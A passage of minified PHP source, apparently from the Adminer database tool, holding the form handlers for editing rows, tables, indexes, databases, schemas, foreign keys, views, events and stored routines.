checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])||$_GET["error_stops"]),'Stop on error')."\n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])||$_GET["only_errors"]),'Show only errors')."\n",input_token();if(!isset($_GET["import"])&&$Jd){print_fieldset("history",'History',$_GET["history"]!="");for($X=end($Jd);$X;$X=prev($Jd)){$x=key($Jd);list($Zg,$Ki,$sc)=$X;echo'<a href="'.h(ME."sql=&history=$x").'">'.'Edit'."</a>"." <span class='time' title='".@date('Y-m-d',$Ki)."'>".@date("H:i:s",$Ki)."</span>"." <code class='jush-".JUSH."'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace("~^(#|$Pe).*~m",'',$Zg)))),80,"</code>").($sc?" <span class='time'>($sc)</span>":"")."<br>\n";}echo"<input type='submit' name='clear' value='".'Clear'."'>\n","<a href='".h(ME."sql=&history=all")."'>".'Edit all'."</a>\n","</div></fieldset>\n";}echo'</form>
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$n=fields($a);$Z=(isset($_GET["select"])?($_POST["check"]&&count($_POST["check"])==1?where_check($_POST["check"][0],$n):""):where($_GET,$n));$rj=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($n
as$B=>$m){if(!isset($m["privileges"][$rj?"update":"insert"])||adminer()->fieldName($m)==""||$m["generated"])unset($n[$B]);}if($_POST&&!$l&&!isset($_GET["select"])){$Re=$_POST["referer"];if($_POST["insert"])$Re=($rj?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$Re))$Re=ME."select=".urlencode($a);$w=indexes($a);$mj=unique_array($_GET["where"],$w);$ch="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($Re,'Item has been deleted.',driver()->delete($a,$ch,$mj?0:1));else{$O=array();foreach($n
as$B=>$m){$X=process_input($m);if($X!==false&&$X!==null)$O[idf_escape($B)]=$X;}if($rj){if(!$O)redirect($Re);queries_redirect($Re,'Item has been updated.',driver()->update($a,$O,$ch,$mj?0:1));if(is_ajax()){page_headers();page_messages($l);exit;}}else{$I=driver()->insert($a,$O);$Ie=($I?last_id($I):0);queries_redirect($Re,sprintf('Item%s has been inserted.',($Ie?" $Ie":"")),$I);}}}$K=null;if($_POST["save"])$K=(array)$_POST["fields"];elseif($Z){$M=array();foreach($n
as$B=>$m){if(isset($m["privileges"]["select"])){$wa=($_POST["clone"]&&$m["auto_increment"]?"''":convert_field($m));$M[]=($wa?"$wa AS ":"").idf_escape($B);}}$K=array();if(!support("table"))$M=array("*");if($M){$I=driver()->select($a,$M,array($Z),$M,array(),(isset($_GET["select"])?2:1));if(!$I)$l=error();else{$K=$I->fetch_assoc();if(!$K)$K=false;}if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))$K=null;}}if(!support("table")&&!$n){if(!$Z){$I=driver()->select($a,array("*"),array(),array("*"));$K=($I?$I->fetch_assoc():false);if(!$K)$K=array(driver()->primary=>"");}if($K){foreach($K
as$x=>$X){if(!$Z)$K[$x]=null;$n[$x]=array("field"=>$x,"null"=>($x!=driver()->primary),"auto_increment"=>($x==driver()->primary));}}}edit_form($a,$n,$K,$rj,$l);}elseif(isset($_GET["create"])){$a=$_GET["create"];$xg=driver()->partitionBy;$_g=driver()->partitionsInfo($a);$ih=referencable_primary($a);$ld=array();foreach($ih
as$vi=>$m)$ld[str_replace("`","``",$vi)."`".str_replace("`","``",$m["field"])]=$vi;$gg=array();$S=array();if($a!=""){$gg=fields($a);$S=table_status1($a);if(count($S)<2)$l='No tables.';}$K=$_POST;$K["fields"]=(array)$K["fields"];if($K["auto_increment_col"])$K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;if($_POST)save_settings(array("comments"=>$_POST["comments"],"defaults"=>$_POST["defaults"]));if($_POST&&!process_fields($K["fields"])&&!$l){if($_POST["drop"])queries_redirect(substr(ME,0,-1),'Table has been dropped.',drop_tables(array($a)));else{$n=array();$sa=array();$vj=false;$jd=array();$fg=reset($gg);$qa=" FIRST";foreach($K["fields"]as$x=>$m){$p=$ld[$m["type"]];$gj=($p!==null?$ih[$p]:$m);if($m["field"]!=""){if(!$m["generated"])$m["default"]=null;$Xg=process_field($m,$gj);$sa[]=array($m["orig"],$Xg,$qa);if(!$fg||$Xg!==process_field($fg,$fg)){$n[]=array($m["orig"],$Xg,$qa);if($m["orig"]!=""||$qa)$vj=true;}if($p!==null)$jd[idf_escape($m["field"])]=($a!=""&&JUSH!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$ld[$m["type"]],'source'=>array($m["field"]),'target'=>array($gj["field"]),'on_delete'=>$m["on_delete"],));$qa=" AFTER ".idf_escape($m["field"]);}elseif($m["orig"]!=""){$vj=true;$n[]=array($m["orig"]);}if($m["orig"]!=""){$fg=next($gg);if(!$fg)$qa="";}}$E=array();if(in_array($K["partition_by"],$xg)){foreach($K
as$x=>$X){if(preg_match('~^partition~',$x))$E[$x]=$X;}foreach($E["partition_names"]as$x=>$B){if($B==""){unset($E["partition_names"][$x]);unset($E["partition_values"][$x]);}}$E["partition_names"]=array_values($E["partition_names"]);$E["partition_values"]=array_values($E["partition_values"]);if($E==$_g)$E=array();}elseif(preg_match("~partitioned~",$S["Create_options"]))$E=null;$if='Table has been altered.';if($a==""){cookie("adminer_engine",$K["Engine"]);$if='Table has been created.';}$B=trim($K["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($B),$if,alter_table($a,$B,(JUSH=="sqlite"&&($vj||$jd)?$sa:$n),$jd,($K["Comment"]!=$S["Comment"]?$K["Comment"]:null),($K["Engine"]&&$K["Engine"]!=$S["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$S["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?number($K["Auto_increment"]):""),$E));}}page_header(($a!=""?'Alter table':'Create table'),$l,array("table"=>$a),h($a));if(!$_POST){$ij=driver()->types();$K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($ij["int"])?"int":(isset($ij["integer"])?"integer":"")),"on_update"=>"")),"partition_names"=>array(""),);if($a!=""){$K=$S;$K["name"]=$a;$K["fields"]=array();if(!$_GET["auto_increment"])$K["Auto_increment"]="";foreach($gg
as$m){$m["generated"]=$m["generated"]?:(isset($m["default"])?"DEFAULT":"");$K["fields"][]=$m;}if($xg){$K+=$_g;$K["partition_names"][]="";$K["partition_values"][]="";}}}$jb=collations();if(is_array(reset($jb)))$jb=call_user_func_array('array_merge',array_values($jb));$zc=driver()->engines();foreach($zc
as$yc){if(!strcasecmp($yc,$K["Engine"])){$K["Engine"]=$yc;break;}}echo'
<form action="" method="post" id="form">
<p>
';if(support("columns")||$a==""){echo'Table name'.": <input name='name'".($a==""&&!$_POST?" autofocus":"")." data-maxlength='64' value='".h($K["name"])."' autocapitalize='off'>\n",($zc?html_select("Engine",array(""=>"(".'engine'.")")+$zc,$K["Engine"]).on_help("event.target.value",1).script("qsl('select').onchange = helpClose;")."\n":"");if($jb)echo"<datalist id='collations'>".optionlist($jb)."</datalist>\n",(preg_match("~sqlite|mssql~",JUSH)?"":"<input list='collations' name='Collation' value='".h($K["Collation"])."' placeholder='(".'collation'.")'>\n");echo"<input type='submit' value='".'Save'."'>\n";}if(support("columns")){echo"<div class='scrollable'>\n","<table id='edit-fields' class='nowrap'>\n";edit_fields($K["fields"],$jb,"TABLE",$ld);echo"</table>\n",script("editFields();"),"</div>\n<p>\n",'Auto Increment'.": <input type='number' name='Auto_increment' class='size' value='".h($K["Auto_increment"])."'>\n",checkbox("defaults",1,($_POST?$_POST["defaults"]:get_setting("defaults")),'Default values',"columnShow(this.checked, 5)","jsonly");$qb=($_POST?$_POST["comments"]:get_setting("comments"));echo(support("comment")?checkbox("comments",1,$qb,'Comment',"editingCommentsClick(this, true);","jsonly").' '.(preg_match('~\n~',$K["Comment"])?"<textarea name='Comment' rows='2' cols='20'".($qb?"":" class='hidden'").">".h($K["Comment"])."</textarea>":'<input name="Comment" value="'.h($K["Comment"]).'" data-maxlength="'.(min_version(5.5)?2048:60).'"'.($qb?"":" class='hidden'").'>'):''),'<p>
<input type="submit" value="Save">
';}echo'
';if($a!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$a));if($xg&&(JUSH=='sql'||$a=="")){$yg=preg_match('~RANGE|LIST~',$K["partition_by"]);print_fieldset("partition",'Partition by',$K["partition_by"]);echo"<p>".html_select("partition_by",array_merge(array(""),$xg),$K["partition_by"]).on_help("event.target.value.replace(/./, 'PARTITION BY \$&')",1).script("qsl('select').onchange = partitionByChange;"),"(<input name='partition' value='".h($K["partition"])."'>)\n",'Partitions'.": <input type='number' name='partitions' class='size".($yg||!$K["partition_by"]?" hidden":"")."' value='".h($K["partitions"])."'>\n","<table id='partition-table'".($yg?"":" class='hidden'").">\n","<thead><tr><th>".'Partition name'."<th>".'Values'."</thead>\n";foreach($K["partition_names"]as$x=>$X)echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'" autocapitalize="off">',($x==count($K["partition_names"])-1?script("qsl('input').oninput = partitionNameChange;"):''),'<td><input name="partition_values[]" value="'.h(idx($K["partition_values"],$x)).'">';echo"</table>\n</div></fieldset>\n";}echo
input_token(),'</form>
';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$de=array("PRIMARY","UNIQUE","INDEX");$S=table_status1($a,true);$ae=driver()->indexAlgorithms($S);if(preg_match('~MyISAM|M?aria'.(min_version(5.6,'10.0.5')?'|InnoDB':'').'~i',$S["Engine"]))$de[]="FULLTEXT";if(preg_match('~MyISAM|M?aria'.(min_version(5.7,'10.2.2')?'|InnoDB':'').'~i',$S["Engine"]))$de[]="SPATIAL";$w=indexes($a);$G=array();if(JUSH=="mongo"){$G=$w["_id_"];unset($de[0]);unset($w["_id_"]);}$K=$_POST;if($K)save_settings(array("index_options"=>$K["options"]));if($_POST&&!$l&&!$_POST["add"]&&!$_POST["drop_col"]){$b=array();foreach($K["indexes"]as$v){$B=$v["name"];if(in_array($v["type"],$de)){$e=array();$Ne=array();$ac=array();$be=(support("partial_indexes")?$v["partial"]:"");$Zd=(in_array($v["algorithm"],$ae)?$v["algorithm"]:"");$O=array();ksort($v["columns"]);foreach($v["columns"]as$x=>$d){if($d!=""){$y=idx($v["lengths"],$x);$Yb=idx($v["descs"],$x);$O[]=idf_escape($d).($y?"(".(+$y).")":"").($Yb?" DESC":"");$e[]=$d;$Ne[]=($y?:null);$ac[]=$Yb;}}$Lc=$w[$B];if($Lc){ksort($Lc["columns"]);ksort($Lc["lengths"]);ksort($Lc["descs"]);if($v["type"]==$Lc["type"]&&array_values($Lc["columns"])===$e&&(!$Lc["lengths"]||array_values($Lc["lengths"])===$Ne)&&array_values($Lc["descs"])===$ac&&$Lc["partial"]==$be&&(!$ae||$Lc["algorithm"]==$Zd)){unset($w[$B]);continue;}}if($e)$b[]=array($v["type"],$B,$O,$Zd,$be);}}foreach($w
as$B=>$Lc)$b[]=array($Lc["type"],$B,"DROP");if(!$b)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),'Indexes have been altered.',alter_indexes($a,$b));}page_header('Indexes',$l,array("table"=>$a),h($a));$n=array_keys(fields($a));if($_POST["add"]){foreach($K["indexes"]as$x=>$v){if($v["columns"][count($v["columns"])]!="")$K["indexes"][$x]["columns"][]="";}$v=end($K["indexes"]);if($v["type"]||array_filter($v["columns"],'strlen'))$K["indexes"][]=array("columns"=>array(1=>""));}if(!$K){foreach($w
as$x=>$v){$w[$x]["name"]=$x;$w[$x]["columns"][]="";}$w[]=array("columns"=>array(1=>""));$K["indexes"]=$w;}$Ne=(JUSH=="sql"||JUSH=="mssql");$Vh=($_POST?$_POST["options"]:get_setting("index_options"));echo'
<form action="" method="post">
<div class="scrollable">
<table class="nowrap">
<thead><tr>
<th id="label-type">Index Type
';$Td=" class='idxopts".($Vh?"":" hidden")."'";if($ae)echo"<th id='label-algorithm'$Td>".'Algorithm'.doc_link(array('sql'=>'create-index.html#create-index-storage-engine-index-types','mariadb'=>'storage-engine-index-types/','pgsql'=>'indexes-types.html',));echo'<th><input type="submit" class="wayoff">','Columns'.($Ne?"<span$Td> (".'length'.")</span>":"");if($Ne||support("descidx"))echo
checkbox("options",1,$Vh,'Options',"indexOptionsShow(this.checked)","jsonly")."\n";echo'<th id="label-name">Name
';if(support("partial_indexes"))echo"<th id='label-condition'$Td>".'Condition';echo'<th><noscript>',icon("plus","add[0]","+",'Add next'),'</noscript>
</thead>
';if($G){echo"<tr><td>PRIMARY<td>";foreach($G["columns"]as$x=>$d)echo
select_input(" disabled",$n,$d),"<label><input disabled type='checkbox'>".'descending'."</label> ";echo"<td><td>\n";}$ye=1;foreach($K["indexes"]as$v){if(!$_POST["drop_col"]||$ye!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$ye][type]",array(-1=>"")+$de,$v["type"],($ye==count($K["indexes"])?"indexesAddRow.call(this);":""),"label-type");if($ae)echo"<td$Td>".html_select("indexes[$ye][algorithm]",array_merge(array(""),$ae),$v['algorithm'],"label-algorithm");echo"<td>";ksort($v["columns"]);$s=1;foreach($v["columns"]as$x=>$d){echo"<span>".select_input(" name='indexes[$ye][columns][$s]' title='".'Column'."'",($n?array_combine($n,$n):$n),$d,"partial(".($s==count($v["columns"])?"indexesAddColumn":"indexesChangeColumn").", '".js_escape(JUSH=="sql"?"":$_GET["indexes"]."_")."')"),"<span$Td>",($Ne?"<input type='number' name='indexes[$ye][lengths][$s]' class='size' value='".h(idx($v["lengths"],$x))."' title='".'Length'."'>":""),(support("descidx")?checkbox("indexes[$ye][descs][$s]",1,idx($v["descs"],$x),'descending'):""),"</span> </span>";$s++;}echo"<td><input name='indexes[$ye][name]' value='".h($v["name"])."' autocapitalize='off' aria-labelledby='label-name'>\n";if(support("partial_indexes"))echo"<td$Td><input name='indexes[$ye][partial]' value='".h($v["partial"])."' autocapitalize='off' aria-labelledby='label-condition'>\n";echo"<td>".icon("cross","drop_col[$ye]","x",'Remove').script("qsl('button').onclick = partial(editingRemoveRow, 'indexes\$1[type]');");}$ye++;}echo'</table>
</div>
<p>
<input type="submit" value="Save">
',input_token(),'</form>
';}elseif(isset($_GET["database"])){$K=$_POST;if($_POST&&!$l&&!$_POST["add"]){$B=trim($K["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),'Database has been dropped.',drop_databases(array(DB)));}elseif(DB!==$B){if(DB!=""){$_GET["db"]=$B;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($B),'Database has been renamed.',rename_database($B,$K["collation"]));}else{$i=explode("\n",str_replace("\r","",$B));$oi=true;$He="";foreach($i
as$j){if(count($i)==1||$j!=""){if(!create_database($j,$K["collation"]))$oi=false;$He=$j;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($He),'Database has been created.',$oi);}}else{if(!$K["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($B).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""),substr(ME,0,-1),'Database has been altered.');}}page_header(DB!=""?'Alter database':'Create database',$l,array(),h(DB));$jb=collations();$B=DB;if($_POST)$B=$K["name"];elseif(DB!="")$K["collation"]=db_collation(DB,$jb);elseif(JUSH=="sql"){foreach(get_vals("SHOW GRANTS")as$ud){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\.\*)?~',$ud,$A)&&$A[1]){$B=stripcslashes(idf_unescape("`$A[2]`"));break;}}}echo'
<form action="" method="post">
<p>
',($_POST["add"]||strpos($B,"\n")?'<textarea autofocus name="name" rows="10" cols="40">'.h($B).'</textarea><br>':'<input name="name" autofocus value="'.h($B).'" data-maxlength="64" autocapitalize="off">')."\n".($jb?html_select("collation",array(""=>"(".'collation'.")")+$jb,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mariadb'=>"supported-character-sets-and-collations/",'mssql'=>"relational-databases/system-functions/sys-fn-helpcollations-transact-sql",)):""),'<input type="submit" value="Save">
';if(DB!="")echo"<input type='submit' name='drop' value='".'Drop'."'>".confirm(sprintf('Drop %s?',DB))."\n";elseif(!$_POST["add"]&&$_GET["db"]=="")echo
icon("plus","add[0]","+",'Add next')."\n";echo
input_token(),'</form>
';}elseif(isset($_GET["scheme"])){$K=$_POST;if($_POST&&!$l){$_=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$_,'Schema has been dropped.');else{$B=trim($K["name"]);$_
.=urlencode($B);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($B),$_,'Schema has been created.');elseif($_GET["ns"]!=$B)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($B),$_,'Schema has been altered.');else
redirect($_);}}page_header($_GET["ns"]!=""?'Alter schema':'Create schema',$l);if(!$K)$K["name"]=$_GET["ns"];echo'
<form action="" method="post">
<p><input name="name" autofocus value="',h($K["name"]),'" autocapitalize="off">
<input type="submit" value="Save">
';if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".'Drop'."'>".confirm(sprintf('Drop %s?',$_GET["ns"]))."\n";echo
input_token(),'</form>
';}elseif(isset($_GET["call"])){$ba=($_GET["name"]?:$_GET["call"]);page_header('Call'.": ".h($ba),$l);$wh=routine($_GET["call"],(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$Wd=array();$lg=array();foreach($wh["fields"]as$s=>$m){if(substr($m["inout"],-3)=="OUT"&&JUSH=='sql')$lg[$s]="@".idf_escape($m["field"])." AS ".idf_escape($m["field"]);if(!$m["inout"]||substr($m["inout"],0,2)=="IN")$Wd[]=$s;}if(!$l&&$_POST){$Sa=array();foreach($wh["fields"]as$x=>$m){$X="";if(in_array($x,$Wd)){$X=process_input($m);if($X===false)$X="''";if(isset($lg[$x]))connection()->query("SET @".idf_escape($m["field"])." = $X");}if(isset($lg[$x]))$Sa[]="@".idf_escape($m["field"]);elseif(in_array($x,$Wd))$Sa[]=$X;}$H=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($ba)."(".implode(", ",$Sa).")";$ji=microtime(true);$I=connection()->multi_query($H);$oa=connection()->affected_rows;echo
adminer()->selectQuery($H,$ji,!$I);if(!$I)echo"<p class='error'>".error()."\n";else{$g=connect();if($g)$g->select_db(DB);do{$I=connection()->store_result();if(is_object($I))print_select_result($I,$g);else
echo"<p class='message'>".lang_format(array('Routine has been called, %d row affected.','Routine has been called, %d rows affected.'),$oa)." <span class='time'>".@date("H:i:s")."</span>\n";}while(connection()->next_result());if($lg)print_select_result(connection()->query("SELECT ".implode(", ",$lg)));}}echo'
<form action="" method="post">
';if($Wd){echo"<table class='layout'>\n";foreach($Wd
as$x){$m=$wh["fields"][$x];$B=$m["field"];echo"<tr><th>".adminer()->fieldName($m);$Y=idx($_POST["fields"],$B);if($Y!=""){if($m["type"]=="set")$Y=implode(",",$Y);}input($m,$Y,idx($_POST["function"],$B,""));echo"\n";}echo"</table>\n";}echo'<p>
<input type="submit" value="Call">
',input_token(),'</form>

<pre>
';function
pre_tr($_h){return
preg_replace('~^~m','<tr>',preg_replace('~\|~','<td>',preg_replace('~\|$~m',"",rtrim($_h))));}$R='(\+--[-+]+\+\n)';$K='(\| .* \|\n)';echo
preg_replace_callback("~^$R?$K$R?($K*)$R?~m",function($A){$cd=pre_tr($A[2]);return"<table>\n".($A[1]?"<thead>$cd</thead>\n":$cd).pre_tr($A[4])."\n</table>";},preg_replace('~(\n(    -|mysql)&gt; )(.+)~',"\\1<code class='jush-sql'>\\3</code>",preg_replace('~(.+)\n---+\n~',"<b>\\1</b>\n",h($wh['comment']))));echo'</pre>
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$B=$_GET["name"];$K=$_POST;if($_POST&&!$l&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){if(!$_POST["drop"]){$K["source"]=array_filter($K["source"],'strlen');ksort($K["source"]);$Di=array();foreach($K["source"]as$x=>$X)$Di[$x]=$K["target"][$x];$K["target"]=$Di;}if(JUSH=="sqlite")$I=recreate_table($a,$a,array(),array(),array(" $B"=>($K["drop"]?"":" ".format_foreign_key($K))));else{$b="ALTER TABLE ".table($a);$I=($B==""||queries("$b DROP ".(JUSH=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($B)));if(!$K["drop"])$I=queries("$b ADD".format_foreign_key($K));}queries_redirect(ME."table=".urlencode($a),($K["drop"]?'Foreign key has been dropped.':($B!=""?'Foreign key has been altered.':'Foreign key has been created.')),$I);if(!$K["drop"])$l='Source and target columns must have the same data type, there must be an index on the target columns and referenced data must exist.';}page_header('Foreign key',$l,array("table"=>$a),h($a));if($_POST){ksort($K["source"]);if($_POST["add"])$K["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$K["target"]=array();}elseif($B!=""){$ld=foreign_keys($a);$K=$ld[$B];$K["source"][]="";}else{$K["table"]=$a;$K["source"]=array("");}echo'
<form action="" method="post">
';$ai=array_keys(fields($a));if($K["db"]!="")connection()->select_db($K["db"]);if($K["ns"]!=""){$hg=get_schema();set_schema($K["ns"]);}$hh=array_keys(array_filter(table_status('',true),'Adminer\fk_support'));$Di=array_keys(fields(in_array($K["table"],$hh)?$K["table"]:reset($hh)));$Rf="this.form['change-js'].value = '1'; this.form.submit();";echo"<p><label>".'Target table'.": ".html_select("table",$hh,$K["table"],$Rf)."</label>\n";if(support("scheme")){$Ch=array_filter(adminer()->schemas(),function($Bh){return!preg_match('~^information_schema$~i',$Bh);});echo"<label>".'Schema'.": ".html_select("ns",$Ch,$K["ns"]!=""?$K["ns"]:$_GET["ns"],$Rf)."</label>";if($K["ns"]!="")set_schema($hg);}elseif(JUSH!="sqlite"){$Qb=array();foreach(adminer()->databases()as$j){if(!information_schema($j))$Qb[]=$j;}echo"<label>".'DB'.": ".html_select("db",$Qb,$K["db"]!=""?$K["db"]:$_GET["db"],$Rf)."</label>";}echo
input_hidden("change-js"),'<noscript><p><input type="submit" name="change" value="Change"></noscript>
<table>
<thead><tr><th id="label-source">Source<th id="label-target">Target</thead>
';$ye=0;foreach($K["source"]as$x=>$X){echo"<tr>","<td>".html_select("source[".(+$x)."]",array(-1=>"")+$ai,$X,($ye==count($K["source"])-1?"foreignAddRow.call(this);":""),"label-source"),"<td>".html_select("target[".(+$x)."]",$Di,idx($K["target"],$x),"","label-target");$ye++;}echo'</table>
<p>
<label>ON DELETE: ',html_select("on_delete",array(-1=>"")+explode("|",driver()->onActions),$K["on_delete"]),'</label>
<label>ON UPDATE: ',html_select("on_update",array(-1=>"")+explode("|",driver()->onActions),$K["on_update"]),'</label>
',doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'mariadb'=>"foreign-keys/",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"t-sql/statements/create-table-transact-sql",'oracle'=>"SQLRF01111",)),'<p>
<input type="submit" value="Save">
<noscript><p><input type="submit" name="add" value="Add column"></noscript>
';if($B!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$B));echo
input_token(),'</form>
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$K=$_POST;$ig="VIEW";if(JUSH=="pgsql"&&$a!=""){$P=table_status1($a);$ig=strtoupper($P["Engine"]);}if($_POST&&!$l){$B=trim($K["name"]);$wa=" AS\n$K[select]";$Re=ME."table=".urlencode($B);$if='View has been altered.';$U=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");if(!$_POST["drop"]&&$a==$B&&JUSH!="sqlite"&&$U=="VIEW"&&$ig=="VIEW")query_redirect((JUSH=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($B).$wa,$Re,$if);else{$Fi=$B."_adminer_".uniqid();drop_create("DROP $ig ".table($a),"CREATE $U ".table($B).$wa,"DROP $U ".table($B),"CREATE $U ".table($Fi).$wa,"DROP $U ".table($Fi),($_POST["drop"]?substr(ME,0,-1):$Re),'View has been dropped.',$if,'View has been created.',$a,$B);}}if(!$_POST&&$a!=""){$K=view($a);$K["name"]=$a;$K["materialized"]=($ig!="VIEW");if(!$l)$l=error();}page_header(($a!=""?'Alter view':'Create view'),$l,array("table"=>$a),h($a));echo'
<form action="" method="post">
<p>Name: <input name="name" value="',h($K["name"]),'" data-maxlength="64" autocapitalize="off">
',(support("materializedview")?" ".checkbox("materialized",1,$K["materialized"],'Materialized view'):""),'<p>';textarea("select",$K["select"]);echo'<p>
<input type="submit" value="Save">
';if($a!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$a));echo
input_token(),'</form>
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$pe=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$ki=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$K=$_POST;if($_POST&&!$l){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),'Event has been dropped.');elseif(in_array($K["INTERVAL_FIELD"],$pe)&&isset($ki[$K["STATUS"]])){$Ah="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?'Event has been altered.':'Event has been created.'),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$Ah.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$Ah)."\n".$ki[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?'Alter event'.": ".h($aa):'Create event'),$l);if(!$K&&$aa!=""){$L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$K=reset($L);}echo'
<form action="" method="post">
<table class="layout">
<tr><th>Name<td><input name="EVENT_NAME" value="',h($K["EVENT_NAME"]),'" data-maxlength="64" autocapitalize="off">
<tr><th title="datetime">Start<td><input name="STARTS" value="',h("$K[EXECUTE_AT]$K[STARTS]"),'">
<tr><th title="datetime">End<td><input name="ENDS" value="',h($K["ENDS"]),'">
<tr><th>Every<td><input type="number" name="INTERVAL_VALUE" value="',h($K["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$pe,$K["INTERVAL_FIELD"]),'<tr><th>Status<td>',html_select("STATUS",$ki,$K["STATUS"]),'<tr><th>Comment<td><input name="EVENT_COMMENT" value="',h($K["EVENT_COMMENT"]),'" data-maxlength="64">
<tr><th><td>',checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",'On completion preserve'),'</table>
<p>';textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);echo'<p>
<input type="submit" value="Save">
';if($aa!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$aa));echo
input_token(),'</form>
';}elseif(isset($_GET["procedure"])){$ba=($_GET["name"]?:$_GET["procedure"]);$wh=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$K=$_POST;$K["fields"]=(array)$K["fields"];if($_POST&&!process_fields($K["fields"])&&!$l){$eg=routine($_GET["procedure"],$wh);$Fi="$K[name]_adminer_".uniqid();foreach($K["fields"]as$x=>$m){if($m["field"]=="")unset($K["fields"][$x]);}drop_create("DROP $wh ".routine_id($ba,$eg),create_routine($wh,$K),"DROP $wh ".routine_id($K["name"],$K),create_routine($wh,array("name"=>$Fi)+$K),"DROP $wh ".routine_id($Fi,$K),substr(ME,0,-1),'Routine has been dropped.','Routine has been altered.','Routine has been created.',$ba,$K["name"]);}page_header(($ba!=""?(isset($_GET["function"])?'Alter function':'Alter procedure').": ".h($ba):(isset($_GET["function"])?'Create function':'Create procedure')),$l);if(!$_POST){if($ba=="")$K["language"]="sql";else{$K=routine($_GET["procedure"],$wh);$K["name"]=$ba;}}$jb=get_vals("SHOW CHARACTER SET");sort($jb);$xh=routine_languages();echo($jb?"<datalist id='collations'>".optionlist($jb)."</datalist>":""),'
<form action="" method="post" id="form">
<p>Name: <input name="name" value="',h($K["name"]),'" data-maxlength="64" autocapitalize="off">
',($xh?"<label>".'Language'.": ".html_select("language",$xh,$K["language"])."</label>\n":""),'<input type="submit" value="Save">
<div class="scrollable">
<table class="nowrap">
';edit_fields($K["fields"],$jb,$wh);if(isset($_GET["function"])){echo"<tr><td>".'Return type';edit_type("returns",(array)$K["returns"],$jb,array(),(JUSH=="pgsql"?array("void","trigger"):array()));}echo'</table>
',script("editFields();"),'</div>
<p>';textarea("definition",$K["definition"]);echo'<p>
<input type="submit" value="Save">
';if($ba!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$ba));echo
input_token(),'</form>
